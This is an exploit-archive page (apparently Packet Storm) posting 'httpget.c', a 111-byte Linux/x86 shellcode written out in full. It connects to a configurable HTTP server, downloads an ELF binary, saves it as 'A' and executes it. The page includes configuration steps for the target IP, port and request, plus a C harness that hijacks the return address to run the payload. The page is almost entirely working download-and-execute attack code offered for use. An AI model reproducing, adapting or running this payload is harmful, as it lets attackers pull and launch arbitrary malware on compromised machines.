what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

httpget.c

httpget.c
Posted Nov 7, 2006
Authored by Izik

This shellcode allows you to download an ELF executable straight off a standard HTTP server and launch it. It will be saved locally to a filename called 'A' in the current directory. linux/x86 and 111 bytes.

tags | web, x86, shellcode
systems | linux
SHA-256 | 4a909ca87606bf57f755b2c8322fb4fa6ee45728619e7f9d3db8fc7ea441cce8

httpget.c

Change Mirror Download
/*
* (linux/x86) - HTTP/1.x GET, Downloads and execve() - 111 bytes+
*
* This shellcode allows you to download a ELF executable straight off a standard HTTP server
* and launch it. It will saved locally it into a filename called 'A' in the current directory.
*
* <CONFIGURATION>
*
* > The destination IP of the HTTP server is required (NO DNS!), use inet_addr() function result and
* modify the value in [1*] from 0xdeadbeef to the actual IP, if the IP contains NULLs then a little
* workaround requires. The simplest is to use ~inet_addr() followed by ``notl (%esp)`` to change back.
*
* > The destination port of the HTTP server is 80 by default, it is located within the 4 upper bytes
* of the value in [2*] (0xafff). Stored in an invert format (~), so if any further modification
* needed make sure to keep it stored in the same format.
*
* > The destination URL should be generated using the ``gen_httpreq`` utility. It will produce an
* assembly code which is a series of PUSH's and should be pasted as it is within in the marked place
* in the shellcode (look for the comment).
*
* <LINKS/UTILITIES>:
*
* gen_httpreq.c, generates a HTTP GET request for this shellcode
* > http://www.tty64.org/code/shellcodes/utilities/gen_httpreq.c
* backup
* > http://www.milw0rm.com/shellcode/2618
*
* - izik <izik@tty64.org>
*/

char shellcode[] =

"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x99" // cltd
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5b" // pop %ebx
"\x5e" // pop %esi
"\x68\xef\xbe\xad\xde" // [1*] push $0xdeadbeef
"\xbd\xfd\xff\xff\xaf" // [2*] mov $0xaffffffd,%ebp
"\xf7\xd5" // not %ebp
"\x55" // push %ebp
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\xb0\x66" // mov $0x66,%al
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5f" // pop %edi
"\xb0\x08" // mov $0x8,%al
"\x52" // push %edx
"\x6a\x41" // push $0x41
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x59" // pop %ecx
"\xcd\x80" // int $0x80
"\x96" // xchg %eax,%esi
"\x87\xdf" // xchg %ebx,%edi

//
// <paste here the code, that gen_httpreq.c outputs!>
//

"\xb0\x04" // mov $0x4,%al

//
// <_send_http_request>:
//

"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x99" // cltd
"\x42" // inc %edx

//
// <_wait_for_dbl_crlf>:
//

"\x49" // dec %ecx
"\xb0\x03" // mov $0x3,%al
"\xcd\x80" // int $0x80
"\x81\x39\x0a\x0d\x0a\x0d" // cmpl $0xd0a0d0a,(%ecx)
"\x75\xf3" // jne <_wait_for_dbl_crlf>
"\xb2\x04" // mov $0x4,%dl

//
// <_dump_loop_do_read>:
//

"\xb0\x03" // mov $0x3,%al
"\xf8" // clc


//
// <_dump_loop_do_write>:
//

"\xcd\x80" // int $0x80
"\x87\xde" // xchg %ebx,%esi
"\x72\xf7" // jb <_dump_loop_do_read>
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je <_close_file>
"\xb0\x04" // mov $0x4,%al
"\xf9" // stc
"\xeb\xf1" // jmp <_dump_loop_do_write>
"\xb0\x06" // mov $0x6,%al
"\xcd\x80" // int $0x80
"\x99" // cltd
"\xb0\x0b" // mov $0xb,%al
"\x89\xfb" // mov %edi,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\xeb\xcc"; // jmp <_send_http_request>

int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close